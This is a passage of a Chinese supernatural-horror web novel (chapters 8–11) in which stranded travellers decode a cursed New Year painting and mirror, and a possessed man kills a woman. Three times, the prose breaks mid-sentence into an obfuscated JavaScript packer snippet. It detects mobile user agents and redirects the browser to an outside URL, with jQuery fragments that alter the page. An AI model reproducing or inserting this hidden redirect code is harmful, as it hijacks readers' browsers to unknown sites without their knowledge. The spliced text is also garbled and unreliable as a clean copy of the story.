张跳跳趁机提醒大家:“各位手上拿到的东西先放放吧,咱们现在也不知道什么东西是他喜欢的,什么是他不喜欢的,要碰着它不喜欢的,今儿晚上指不定会出什么事儿呢。” 这么一说,刚才还你争我抢的一群人顿时被吓到,赶紧把东西放回了货架上,就连店老板娘也提了个篮子过来听了。 当然也有些不愿意放的,抱着篮子只是看着奚元等人,这个时候谁忽悠谁还不一定呢。 这时,奚元上前一步,看向老板娘:“老板娘,你这儿有梯子吗?我搭梯子看看那镜子。” 那红肚兜看着镜子里的,也不知道是些什么东西。 8. 看镜 老板娘倒是极为配合,只见她点了点头,说:“有的,稍等。” 说着便转身往年画右边走,站在了一处上锁的门前,随即她从身上掏出了钥匙,开门后一个人走了进去,把门关上了。 大约过了得有二十来分钟,老板娘才扛着一个双步梯从里面出来,奚元循着动静望去,只看到老板娘跟那梯子,再想往房间里望,却只见一片漆黑,什么都看不清。 老板娘把梯子扛出来后,先是把门重新上了锁,而后才把梯子递给奚元。 “拿去用吧。”只听她说。 奚元笑着冲老板娘说了声谢谢,而后把梯子岔开,调整了一下高度后,自己爬了上去,他坐在梯子上,让自己的眼睛与年画里红肚兜的眼睛保持在同一高度。 就着这个姿势,他朝着那面镜子看了好一会儿,等确认红肚兜从镜子里看到的东西后他才从梯子上下来。 只见他走到年画右半边,手指向年画右边一角。 那是一群穿着黑肚兜的年娃娃小人在池塘边玩着荷花的场景,画面里,小年娃娃们都是背对着红肚兜,没露出一张正脸。 “从红肚兜的视角来看,他从镜子里看到的东西就是他们,这群黑肚兜们。”只听奚元说。 话音刚落,人群一片沸然。 “难不成红肚兜喜欢的是这群穿黑肚兜的小孩儿?” “也不见得是喜欢小孩儿吧,也有可能是看到他们玩他很羡慕,也想跟他们一起玩吧。” “这样说倒是比较合理。” “那他是不是喜欢荷花,毕竟这群小孩儿都是围着一朵荷花玩的。” “我看是,可能他也想要朵荷花。” “所以年货是跟荷花有关?荷花上的颜色又红又绿,那是不是就是说那三个篮子里红色绿色都能拿?” 众人纷纷猜测着,最终都觉得“喜欢的年货”所指的可能就是跟荷花相关的东西。 奚元一番听下来也觉得这种推测有理,但同时他又总感觉哪儿不对劲,池塘边的场景印在他的眸子里,他陷入了沉思。 寻常的年画里即使出现多个年娃娃,都会画出年娃娃的正脸,可这里面那群黑肚兜们却是全部背对着红肚兜,只出现了背影,就连池塘里的水看着都浑浊不堪的,看着莫名让人觉得压抑。 总感觉这画里传达出来的并没有友爱、热闹、喜庆的意思,反倒让人觉得不和、敌意、恐惧,黑肚兜们不喜欢红肚兜,而红肚兜的眼神也并非透露着善意…… 他心中这么胡思乱想着的时候,身旁的褚翊突然开口说了声:“不对。” 奚元被褚翊的声音惊到,下意识挑了下眼皮,疑惑的“嗯?”了声。 褚翊却是死死盯着大门中央那面小镜子,说:“寓意不对。” 众人的声音淡去。 奚元偏头看向褚翊的侧脸,他盯着褚翊纤长的睫毛,问:“什么意思?” 但褚翊却只是拍了拍他的后脑勺,没有回答他,反而是看向了一旁的老板娘:“门口这面镜子你为什么会朝里挂着?” 这话问的古怪,镜子老板娘爱朝哪儿挂就朝哪儿挂,怎么还特意问一嘴的。 奚元边心里嘟囔着,边把手搭在了自己的后脑勺,总觉得刚才褚翊的动作未免过于亲密了点。 人群里有人问了起来: “这跟这画有什么关系?” “我还以为什么不对,镜子不朝家里挂,难道还挂外边儿啊。” 哪知老板娘叹了口气,却是说:“起初是朝外挂的,大概是从四天前开始,我再看到它的时候它就面朝里了,不知道怎么翻过来的。这期间我还翻向外好几次过,结果一不留神它又会重新翻回来,恰逢当时大厅里怪事频发,我觉得八成跟怪事有关,也就不敢再翻了。” 便利店里一下子安静下来。 “操,还,还真有问题啊!这朝向是有什么讲究么?”人群中的声音瞬间弱了很多。 褚翊看向众人:“你们听说过‘山对门,要死人’的说法吗?” 有人摇了摇头,问:“这是什么意思?” 褚翊:“意思就是如果一户人家的大门朝向的是尖锥一样的山,山就会给这户人家带来灾气。” 有人疑惑道:“山?这儿也没山啊?” 褚翊:“此山非彼山。任何中间高两边低,尖锥一样的东西都可称之为‘山’,‘山’中多藏污纳垢,是灾气汇集的地方,若有一扇门对准此‘山’,便会祸水东引,不得安宁。” 说着,他看向便利店外面:“你们再看看对面的粉馆门头,飞檐翘角的设计像不像一个‘山’?” 众人纷纷向屋外望去,这一望无不心惊。 那粉馆门口果然是个尖嘴的矮屋脊装修样式! 褚翊继续道:“所以粉馆的“山”对准了便利店的门,从风水上来讲,这店面并不吉利,是个装死人的好地方。” 奚元一听这话,倒吸了一口凉气:“装,装什么?死人?!” 虽说他已经知道褚翊了解些玄学上的东西,但他还是忍不住惊叹褚翊的话说的可真是越来越邪门儿了。 越是邪门儿越是无凭无据,自然也引得一些人的怀疑,人群中也有人嚷嚷着褚翊这是在吓唬人,在故弄玄虚。 褚翊一副你爱信不信的姿态,依旧自顾自的说着:“如果想破了这坏风水,只有一个办法,在门口挂面镜子,镜面朝外,这样“山”所带来的灾气就被照进了镜子里,帮店面挡了灾,店面的运势便会自然变好。” 老板娘点点头:“这帅哥说的没错,我就是听说了有这种风水上的说法,才在店门口挂镜子的。” “可现在。”褚翊指向门口挂着的那面镜子,目露厉色,“原本该朝向外的镜面此时却朝了里,坏风水不仅重新回来了,甚至凶上加凶。尤其是邪祟从镜子里看到的东西,它们会承受镜子里的灾气,死于非命。” 邪祟从镜子里看到的东西…… 死于非命…… 奚元的心猛跳了一下:“你是说……那红肚兜对着镜子看向那群黑肚兜年娃娃,并不是因为羡慕他们,也并不是想跟他们一起玩荷花,而是在恶意诅咒!” 难怪,难怪这幅表面看着喜庆的年画越看却是越让人觉得压抑! 褚翊冲奚元点点头:“你说的没错,红肚兜从镜子里看到的,反而不是他喜欢的,而是他所厌恶的,所以那荷花不是红肚兜想要的年货。” 竟然是这样。奚元了然的点点头。 忽然间,他想起之前他要进店买水,褚翊非拉着他不让他进店的情景,此刻他算是明白过来:“难怪你之前非拉着我去粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835551|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馆嗦粉,原来那个时候就看出来这便利店不对劲了啊。” 褚翊抿了抿嘴:“小心些总归是好的。” 奚元又想到什么:“不过不久前你怎么还在便利店买了瓶水?不会有事吗?” 褚翊只是拍了拍奚元的肩,说了句“我有分寸”后,便没再说话了。 而周围的众人一听褚翊说年货不是荷花后,一个个跟打了霜的茄子,蔫巴了。 “如果不是喜欢那荷花,那他喜欢什么?” “除了这个,也没别的线索了啊。” “我看啊还是随便拿些东西,总会挑中几个他想要的年货。” “诶,你们看,那小伙儿又爬上去了。” 就在大家没有主意的时候,奚元又重新爬上了梯子,他想再看看那镜子里的东西,刚才也没看得特别仔细,可能忽略了一些细节。 他坐在了梯子上,重新望向那面镜子。 “奚元!”下面的褚翊忽然叫了他一声。 奚元低头望去,就见褚翊正抬头看向自己。 不知道是不是他的错觉,他觉得褚翊的眼神中隐隐有股担忧之色。 “怎么了么?”奚元问。 褚翊张了张嘴,似乎想说些什么,但最后却是摇了摇头,作罢了。 “没事你看吧,我在下面护着你。” 奚元只觉得心中一暖,虽然他不知道自己爬个梯子而已,有什么需要褚翊护着的,但褚翊的这句话莫名让他感觉很安心,他感激地冲褚翊点点头,心想:褚翊这人,还真是人帅心善啊。 他重新朝镜子看去。 镜子里能看到的依旧是年画里池塘那块儿,依旧是那朵荷花,依旧是浑浊的池塘水,至于那几个穿着黑肚兜的年娃娃…… 唔……是不是他记错了? 中间那个扎着双马尾的女娃娃有露半边脸吗? 他转头看向那年画,就见坐在池塘边的五个娃娃确实个个都只露了后脑勺,并没有任何一点面部描摹。 难道是刚才看错了?奚元闭着眼睛揉了揉眉心,稍微舒缓了一下后,再次朝镜中看去。 根茎高长的荷花仍然艳丽脱俗,滋养着它的池塘浑浊如…… 如…… 如血? 等等! 刚才看还发黄的池塘水眼下却怎么……红得发黑? 还有那几个年娃娃,竟然,竟然全部露出了半边脸来! 那一瞬间,奚元只觉得自己汗毛直立,全身凉到了谷底。 他非常肯定这不是他看错了,而是镜子里的东西……在动! 他想赶紧收回视线,却发现此时此刻身体动弹不得,脑袋没法转动,嘴巴不能张开,就连视线都没办法从镜中偏移分毫! 镜中的年娃娃慢慢转过了头来,他们看向了奚元的眼睛,他们冲奚元露出了微笑,他们七窍流血,嘶吼着:和我一起吧! 正中央的女娃娃的脸突然拉长放大,冲向了奚元的脸。 “看我,看我!和我一起吧!” 奚元眼角沁出血来。 他的心沉到了谷底,他无助地无声呐喊着:褚翊,快来帮忙! 叮—— 一颗翻滚的铜钱突然出现在在他视线。 “停。”褚翊温润的声音钻进了他的耳朵里。 9. 三看 奚元只感觉身体一轻,下一瞬,他就被褚翊拉下了梯子,稳稳当当的站在了地上。 一切都只发生在一夕之间,褚翊到底是怎么做到的? 奚元心中既后怕又惊疑。 “刚才那镜子里的是什么东西?”他吐出一口气,问道。 褚翊松开了扶着奚元肩膀的手,把手上的铜钱放回了奚元口袋里:“那些都是吸纳的‘山’里的脏东西,你刚才是着了脏东西的蛊了,我临时用你的铜钱把它给挡了回去。” 奚元哦了声,心想没想到这铜钱还真是个好东西,竟然还有这用处! 心中正感叹之际,他身旁的褚翊继续说:“这镜子不能再看第三回了。” 奚元疑道:“为什么?” 褚翊却是懒得解释:“总之不要再看了,再看准没有好事。” 他这话说的大声,表面看着只是在给奚元提醒,实际也是在给在场的每个人一个警告。 奚元想到了刚才看到的那几张七窍流血的脸,也不敢再上去看了,便道:“倒是也不用再上去看了,刚才看那一次差不多也知道了红肚兜喜欢的年货跟什么东西有关。” 周围的人听的云里雾里。 “所以你到底看到了什么啊?” “神神秘秘的别吓唬人成吗?” 奚元倒是沉得住气,只见他不紧不慢地走到那年画的池塘处,指着那几位黑肚兜说:“你们要问我看到了什么,我看到这几个小娃娃朝我转过了脸来,他们七窍流血,让我进去陪他们。” 哗—— 人群哗然。 这青天白日的,说什么鬼故事呢! “不过——”奚元忽地一顿,“有一个例外。” 他手指向最右边的绑了红绸带的年娃娃:“他。只有他从始至终保持着背对着我的姿势,没有转头。” 丛林之下,断木为奇。与众不同的事物背后也必将会有一些不一样的故事。 奚元继续说:“我以红肚兜的视角再仔细看了一遍镜子里,发现其实看不到池塘右边角落,而这个绑了红绸带的年娃娃恰巧就在池塘靠右的位置,从始至终他都没在红肚兜的视线范围内,红肚兜似乎在刻意避免红绸带受到他的诅咒。” “如果其他所有人都让红肚兜憎恨不已,唯独他没有,是不是就是在拐弯抹角的告诉我们红肚兜是喜欢这位红绸带,不忍红绸带受到诅咒呢?” 奚元的话众人听进去了,他们觉得奚元说的有理。 主要现在奚元是唯一一个看到过镜中景象的人,容不得他们不相信。也没有人愿意上梯子再看一次,毕竟褚翊说的不能看第三次的话听着也不像假的,他们可不敢去冒险。 有人顺着奚元的推论思索了起来。 “如果红绸带小孩儿跟年货有关,他又有什么特别的地方呢?这看着跟别的小孩儿也没什么区别啊。” “若看穿着打扮是看不出有什么不一样的,发髻嘛丸子头冲天辫马尾辫的每个人脑袋上都不一样,也算不上特别,要说真有什么特别的,可能也只有这头顶上的红绸带了。” “红绸带也不是什么特别的东西,喏,其他小孩儿腿上手上绑的也有。” “那这就奇怪了……” “不!有区别!”忽地,一个年轻的女生凑近年画,激动地大叫了一声,“快看他肚兜下面,有个橘子!” 橘子? 众人蜂拥而上堵在了一起,数十双眼睛盯着那小孩儿看。 就见画中他的肚兜右下角掀起了一角,露出了里面的内袋,内袋里戳出来一点带叶的绿棍,那绿棍下还连着一点黄色的外皮。 不是橘子是什么! 亲眼所见的众人纷纷猜测了起来。 “你们说如果那红肚兜喜欢这小孩儿,那他会不会也爱屋及乌喜欢这小孩儿喜欢的橘子?” “你的意思是……跟年货相关联的东西就是这橘子?” “肯定就是了,这画上也再找不到别的更加明显的提示了。” “如果红肚兜喜欢橘子,那也就是说——我们篮子的颜色要选黄色,货架上拿的年货是橘子类产品!” 此话一出,便利店再次哄然一片,货架上但凡跟橘子沾点边的产品都被哄抢开来。 众人一抢,奚元等人也跟着抢,但奈何手速一个比一个慢,四个人里面也就周格勉强扎进了人群堆里。 等周格死死捂着被撑得贼大的棉衣出来,他忍不住先埋怨起奚元来:“奚元你也真是的,这么大的发现你好歹先给咱自己人通通气儿啊,差点一个没薅着!” 说着,他就拉着几人走到了店外角落,把棉衣里的橘子罐头、香橙味儿饼干、橘子瓣形状的面包等一堆乱七八糟的“橘子产品”全部抖落出来,放到了地上。 周格:“得亏是我棉衣够大,喏,一人挑一个。” 奚元有些内疚的笑了笑:“辛苦你了。” 四人一人拿了一点东西,准备先离这是非之地远点儿,却是在离开前注意到了一直在便利店门口站着的老板娘。 老板娘正看着便利店里发生的一切,但篮子里还什么东西都没有,明明店里的东西都是她的,现在反倒她一个年货没落着,还真是挺可怜的。 周格都看不下去了,他想了想,从自己兜里挑了个橙子味汽水塞给老板娘,还不好意思地说了声:“那个老板娘,你算算我们这儿多少钱?” 这个时候能想起来结账的估计也就只有他们四人了。 原本一直盯着便利店里看的老板娘被周格的动静搞得一激灵,她滴溜了一圈眼珠子,先是低头看向了手上的汽水,又侧头朝旁边看,等看到是周格几人后,这才哦了声,恢复了正常神色。 就见她僵硬地扯出了一个似笑非笑的表情,脸上的白粉簌簌掉了一层:“不要钱了,不要钱了,这店铺估计也到头了,你们走吧。” 说着,她拿着汽水放进了自己的黄色篮子里,而后提着篮子离开了便利店,在候车大厅找了个椅子坐下了。 在这之际,便利店里越发吵了,跟橘子有关的东西被抢了个精光,剩下没抢到的开始抢别人篮子里的,很快店里便有人打了起来,死亡面前,所有人都不敢怂,拳头硬不硬的都要硬着头皮抢来抢去,男人女人的惨叫此起彼伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835552|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 奚元看了眼店里的情况,又看了老板娘一眼,叹了口气,道:“咱们还是赶紧先走吧。” 眼下这场景,也不是他能干涉的了的了。 周格抱紧了怀里的东西,点头赞同:“对,赶紧走吧。咱可得把东西揣好了,不到晚上尘埃落地前,到手的东西随时都有可能飞了。” 张跳跳没好气道:“你可盼点儿好吧。” 几人朝原来的座位走去。 奚元跟着走着,却是沉默不语,他时不时拿出已经拿到的橘子干,眉头越皱越深。 怎么总感觉有哪个地方不太对劲? 四人坐回座位上后,奚元忽然又想起一个问题,他转头看向褚翊:“话说褚翊,你刚刚为什么说那镜子不能再看第三次?” 褚翊先是把手上的东西丢进了黄色篮子里,而后单手撑在椅子扶手上,转动起了他右耳上那尖锥耳环上的一个活环:“不是都说了么,再看准没好事。” 他的头朝□□斜着,一头卷发几乎快要贴在奚元的脸上。 奚元不得已往右挪了挪,眼神却是瞟了褚翊那一头卷发好几眼:“能说的具体点儿吗?” 褚翊正了正身,扭头朝奚元看来,就看到奚元慌忙从他头顶撤下来的眼神,他笑了笑,觉得挺有趣。 对面的张跳跳见褚翊这副表情,竟是眉尾一挑,他看了看奚元,又看了看褚翊,嘟囔了句:“竟然又笑了。” “啊?你说什么?”周格只听到旁边咕哝了句,还以为张跳跳在跟自己说话,便凑过去问。 张跳跳:“嗯?哦,没什么,没什么。” 这边褚翊笑着冲奚元问:“你真要听?” 奚元点点头:“想弄清楚点儿。” “其实也没什么。”就听褚翊徐徐说道,“也是一些风水上的说法。” “有听说过镜中三看吗?” 奚元:“镜中三看?还真没听说过,具体是哪三看啊?” “自然是一看世人像,二看回眸蛊,三看魂断肠。” …… 听起来,似乎都不是什么好词儿呢。 “具体……是什么意思?”奚元又开始觉得后背发凉了。 “意思就是——”褚翊不知道想到了什么,忽地叹了口气,而后才继续说。 “像便利店里挂的那种镜子是吸灾镜,镜中多受邪祟诅咒,像这种镜子一般都是看不得的,如果看了,三次之内必出事。” “所谓第一看的世人像,便所看即所得,看到的都还是世人正常该有的样子,所以这第一看其实不打紧;而二看的回眸蛊,却是指镜中‘灾气’苏醒,这一眼,你会看到有人回过头来看着你,而你动弹不得,这是你的魂魄‘灾气’被下了蛊了,一旦蛊惑成功,你的身体就不由你自己支配了。” 奚元想起刚才的经历,简直跟褚翊所描述的一字不差!他不禁有些后怕起来,刚才要不是有褚翊帮忙,他估计现在已经没命了。 “那这魂断肠呢?”他忍不住追问。 “魂断肠么?”褚翊摇了摇头,哀叹一声,“字面意思,魂飞魄散,不得好死。” 10. 异变 一时间,四个人里没一个出声的。 不得好死这四个字,奚元还从来没有像现在这般对它们有如此切实的感受。 过了得有一两分钟,他才犹疑地说了句:“你们……都哪儿听的这些?” 褚翊转动着自己的耳环,没有说话。 张跳跳则是说了句:“别瞎打听了,知道太多也不是什么好事儿。” 听到张跳跳这么说,奚元也不好再问,便随口感叹了句:“多亏了褚翊刚才在便利店里提醒了一嘴,这才没酿下惨事。” 褚翊手上的动作一顿,他扭头看向奚元:“那可不一定。” 他调整了一下自己的坐姿:“就我那模棱两可的一句话,你可别指望谁都会信。” 由于身体发生了轻微移动,褚翊的尖锥耳环也跟着摆动起来,耳环上的绿玛瑙在大厅的光照下闪烁着奇异的色彩。 不知怎的,奚元的视线和思绪竟是追随耳环而去,褚翊的话明明近在咫尺,却又仿若远在天涯,还有旁边周格似乎也在说话,但他却是没有一点心思去听。 他就这么静静的看着褚翊的耳环好一会儿。 忽然,鬼使神差的,他伸出手,把耳环上的活环转了转,温暖的指尖在那一霎那碰到了褚翊冰凉的耳垂。 褚翊看着奚元的眼神一定,奚元这才猛地回过神来。 “哦,那个,你那环没对正,我帮你弄了弄。”他猛地收回手,十分尴尬的解释道。 奚元也不知道自己怎么回事,会对着一个耳环看入了迷,还会这么自然的去摆弄,就好像他本该这么做一样,真是魔怔了。 褚翊的表情并没有很好,他看起来很严肃,似乎是想到了什么事。 “嗯。”只听他悠悠开口说,语气不咸不淡的。 看来真的是有点冒犯了。奚元忍不住想,又尴尬地扯了扯嘴角,随即哈哈两声,打算扯开话题揭过这茬。 哪知刚一开口,褚翊不知怎的忽然攥住了他的手腕。 “哦对了,你刚刚说……” “你之前……” 两人的话撞到了一起,奚元一愣,啊了声:“我之前什么?” 说话间,他感觉手腕处隐隐发痛,褚翊攥他攥得太紧了。 他看着褚翊一脸沉重的表情,还以为褚翊发了大火,拉着他要质问他呢,当即心里凉了一截,哪知下一秒,褚翊就放开了他,神色也很快恢复如常。 “没什么,你好好坐着,等着吧。” 奚元哦了声,他有些疑惑,却又不敢再找褚翊说话,就觉得褚翊现在可能心情不太好。 坐对面一直看热闹的周格此时此刻终于忍不住了,他用手肘戳了戳张跳跳:“诶,他俩干嘛呢这是?” “谁知道呢。”张跳跳也古怪地瞄了褚翊好几眼。 “刚才褚翊说等着,等啥啊?” “我估摸着,八成是等便利店里再折腾起来。” …… 便利店里人已经少了好多,拿了东西又幸运的没被人盯上的人已经回了座位,现在里面就只剩那么十几个人还在来回争抢。 混乱中,有个身高快一米九的高个儿肌肉男站在门口的地方已经站了很久,他长得魁梧,店里没人敢打他的年货的主意,而他的心思压根儿也没在店里其他人身上,而是盯着头顶斜前方的镜子看了很久。 “他说的就一定是真的吗?”他嘟囔了一声,眼睛里写满了对镜子的好奇。 随即,他转过头,看向了对面一直摆在那里没有人收走的梯子,想了想,深吸了一口气,朝梯子走了过去。 店里其他人还在为了一些橘子零食抢得不可开交,已经没有人会再去关注那梯子了,肌肉男上那梯子上的无声无息,直到他坐到了那梯子上,都没有人朝他这看过一眼。 对面的镜子安安静静地挂着,里面似乎深不见底,肌肉男往前倾了倾脖子,看向了它。 漆黑一片,恍若深渊。 “你……在看我们吗?”一个声音竟是从镜中传来。 肌肉男浑身一抖,额头霎时冒出细密的汗,但他人却是没动,或者说,是他人已经不能再动。 话音尾声落下,漆黑的镜中黑雾散去,渐渐明朗,就见原本坐在荷塘边上的四个黑肚兜此时早已离开了那里,他们站在了肌肉男的面前,七窍流着血,越来越近,越来越近,直到他们突然开始猛冲,四个人一瞬间变成了一个人,奔着肌肉男的眼睛撞去,肌肉男的脸上露出惊恐的表情。 “居然是你!” “啊啊啊啊啊啊!!!” …… “死人了!打死人了!” 便利店外的座位上,张跳跳扭过头,瞳孔骤缩:“便利店还真又出事了。” 褚翊眉头紧皱:“过去看看。” 四人再次朝便利店赶去。 便利店里又一次围满了人,奚元几人挤了进去,看到了一地的血,以及地上躺着的脑袋被砸了个大窟窿的女人,那女人瞳孔扩散,已经死的不能再死了,而她旁边篮子里的东西也早已经被一抢而空。 褚翊走上前,神色冷冽地扫过众人:“谁干的?” 他的语气带着愠怒,听着莫名让人心中胆寒。 人群中有人指向肌肉男:“他,你,你看他手上拿的。” 褚翊顺着方向望去,就见肌肉男手上正拎着一个血糊的榔头,而他脸上丝毫没有杀人后的恐慌,反而露出了胜利者的微笑,满眼净是杀戮。 褚翊眉头微皱,侧头问旁边的人:“他刚才上那梯子了?” “上了,还看了那镜子。然,然后下来就找了榔头把这女的给打死了。” 褚翊的表情肉眼可见的又差了不少:“看来还是被放出来了。” 说着,他指向肌肉男,提高了音量:“所有人离这人远点儿,不想招惹祸事就赶紧都散了!” 肌肉男没说话,只是静静地冲着褚翊笑。 其他人也都没反应过来。 褚翊懒得再啰嗦,回头将女人抱起,最后对众人冷声道:“看够了吗?看够了就赶紧离开这儿。” 说着,他往外走去,奚元、周格、张跳跳三人也跟了上去。 “那男的怎么了?”奚元跟在褚翊旁边边走边问,尽量不往女尸身上看。 褚翊:“他看了第三次镜子,被盗了魂了。” “就是那个魂断肠?” “对,被邪祟上了身,已经半人不鬼了。” 顿了顿,褚翊忽然停住,他看向奚元:“你知道魂断肠所指的魂飞魄散,不得好死是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835553|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指谁吗?” 奚元:“不就是那肌肉男吗?” 褚翊:“不,它还指跟那男的接触过的所有人。” “这下,候车大厅是越发不安宁了。” …… 褚翊很快把女尸抱到了传送机口放下,又去粉馆找老板要了块布,准备给女人盖上。 张跳跳上去搭了把手,奚元倒是没上前,他到现在还没办法完全适应大厅里随时可能出现的死人,同时心里还揣着褚翊刚才说的话,一时没缓过来。 一旁的周格巴拉了他两下,一脸看热闹的表情:“还没适应呐?看你那样儿。” 奚元勉强笑笑:“这哪是说能适应就能适应的。” 周格拍了拍自己胸脯,还挺骄傲:“你看我,早应付得了这场面了,不久前处理那尸块我都……” 他说着说着突然顿住,随即收了嘴角,用鼻子猛吸了几口:“咦,突然发现……这传送机怎么没那么臭了……” 正在给尸体盖布的褚翊听到这话猛地回头。 周格只觉得莫名其妙:“你,你看我干什么?” 褚翊没说话,他一个跨步,起身走向传送机,拉起传送机上铺着的几件外套。 外套被掀飞,卷起一阵血腥味。 然而本该躺在外套下的那个死状可怖的女尸,此刻竟然……消失不见了! “不见了!”奚元一愣,向四周扫视一圈,惊呼,“就连周格扔的一只胳膊和一只腿也没了!” 比活人被杀更可怕的是死人凭空消失。 好端端的一堆尸体,怎么会在短短不到几个小时的时间内消失得连点渣都不剩?它们——又能去哪儿? “没了,没了,全都没了……” 身后传来声音,奚元扭头看去,发现是那位死了老公的女人。 自她老公消失后,她的眼泪似乎就没有干过,眼睛都已经哭肿了,她好像一直在跟着奚元他们,刚才可能是听到了奚元说她老公的断胳膊断腿没了,一下绷不住,竟是瘫倒在地。 “呜呜呜呜呜呜呜。”她就像被人扎破了的气球,整个人瞬间瘪了下去,掩面失声痛哭起来。 女人的哭声吸引来了一些人过来看热闹,很快就有几人站在了附近。 “活人死了就算了,现在死人也连渣都不剩了?” “这地儿这么邪门呢?” “邪门的事儿你还见得少了吗?” “说到邪门……”人群里,忽然有人说,“刚才我好像看那疯子在这儿擦传送带来着,当时我还想着这疯子居然已经疯到连死人都不怕了呢,现在想想,会不会……” 会不会什么? 是那疯子处理掉了尸体吗? 奚元听到那人说的话,眉头紧蹙,脑中闪过万般猜测。 他四处张望,在左前方墙角处找到了疯子的身影,那疯子两耳不闻窗外事,正在那儿一心一意的擦墙。 奚元走了过去,跟在疯子身后,从墙的这头走到墙的那头,直到疯子停了下来,他终于在他面前站定,问了句:“那传送带上的尸体呢?” 疯子眼神木讷,呆愣在原地。 “打扫、倒垃圾,打扫、倒垃圾,不过年,不过年……” 他嘴里来来回回说着这些车轱辘话。 11. 乱麻 奚元眉头轻皱:“打扫?你在打扫些什么?” 疯子依旧只会那几句:“打扫,打扫卫生。” “为什么要打扫卫生?” “打扫,打扫,快点打扫!” “因为爱干净?” “抹、扫,打扫,对的,打扫。” “还是因为要过年了。” “打……过,过年?不!不过年,我不过年。我不过年,我不过年!!!啊啊啊啊啊啊啊啊!!!!” 疯子突然情绪失控,一屁股坐在地上,抱着头,疯狂尖叫起来。 奚元吓了一跳,他后退了几步,心想:这疯子疯成这样,也不像是能处理尸体的样子,难不成他擦传送带真的只是因为疯疯癫癫的要打扫卫生?那这些尸体又会是被谁处理了?这疯子又为什么这么害怕过年呢? 满脑子理不清的头绪,奚元苦恼地敲了敲自己的额头,他总觉得千头万绪里有个什么东西明明就已经呼之欲出了,但每次要抓住它时,又总是稍纵即逝。 啧,烦。 疯子这儿想必是再问不出什么其他的话,奚元烦闷地走开了,跟着处理好尸体的褚翊几人重新回到了座位上。 其他人见找不出什么关键所在,也没了围观的兴致,都纷纷散去,一段时间后,候车大厅里再次安静下来。 不知道是因为便利店里女人的死让众人从疯狂的啮咬中暂时清醒过来,还是传送带上消失的尸体让他们细思极恐,总之,此后的一个小时里,再没有任何事端发生。 但宁静也仅仅维持了这一小时,总有人在伺机蠢蠢欲动。 下午四点左右,那个杀了女人的肌肉男身边忽然跟了一群人,他们站在角落里,不知道商量了什么,随后,他们气势汹汹地走到便利店老板娘面前,一脚蹬在老板娘的椅子上,似乎在威胁着什么,坐在老板娘周围的人全吓跑了。 周格同情地朝老板娘看了一眼,说:“老板娘可真惨,被那杀人犯给盯上了。” 张跳跳摇了摇头,无奈道:“那群人八成还觉得人老板娘还藏了货,在那儿恐吓人家呢。” 周格哈了一声:“有病吧?褚翊不都说了离那肌肉男远点吗?那几个小跟班怎么回事?嫌自己活太久了么?” 褚翊冷哼道:“我的话又不是圣旨。” 周格:“可他杀了人啊!他们就不怕他把把他们也噶了?唉,咱也就是现在被困在这儿了,不然我早报警让那杀人犯吃枪子儿了!” 他愤愤不平地说着,余光中瞥见旁边心不在焉的奚元,这会儿奚元正盯着旁边正在打瞌睡的胖子看。 自从问了那疯子话后,奚元好像一直都在走神,以往四人中就属他爱找话题聊天儿,但现在他坐在这儿这么久竟然一句话没说。 周格忍不住叫了几声:“奚元,奚元?奚元!” 直到叫到第三遍奚元才回过神来,他回头看着周格,眼神中略带了些困惑:“嗯?” 周格:“你发什么呆啊?” 奚元眨了眨眼睛,整个人姿态放松了些:“哦,没什么,想些事。” 此话刚落,奚元就听到旁边褚翊低沉的声音传来。 “想些事?” 奚元扭头望去,就见褚翊的视线看向了那个胖子,他听到褚翊接着说了声:“今天下午这胖子倒是没吃他的泡面了。” 奚元顿时眼前一亮:“你也发现了?!” 如果有人跟他同时注意到这个细节,就说明这个细节多多少少有点古怪,而不是他犯了被迫害妄想症。 褚翊微微侧头,与奚元对视:“你刚才不说话就是在想这个事?” 奚元点点头,眉头又蹙了起来:“就是觉得有点儿奇怪,为什么胖子今天下午胃口突然变得这么差了?他……” 顿了顿,他的视线扫过三人,压低了声音:“刚才在便利店的时候你们有看到过胖子吗?” 张跳跳想了想:“还真没注意,那会儿注意力都在年画上。” 周格则说:“我倒是见着他女朋友了,至于他么……嘶,好像还真没见着。” 褚翊:“我也没看到。” 奚元整个人朝椅背靠区:“都没注意到他……说明他很有可能没有去便利店,而又是这个时候传送带上的尸体不见了,现在这胖子一下午又一点东西没吃,你们不觉得这事儿还挺巧吗?” 褚翊神色淡然地接过奚元的话:“你不会是想说传送带上的尸体是被那胖子吃了吧。” 奚元眼中的神色又亮了几分:“有这可能么?” 褚翊许是被逗着了,嘴角微微上扬,他肯定的点了点头,说:“不无可能。” 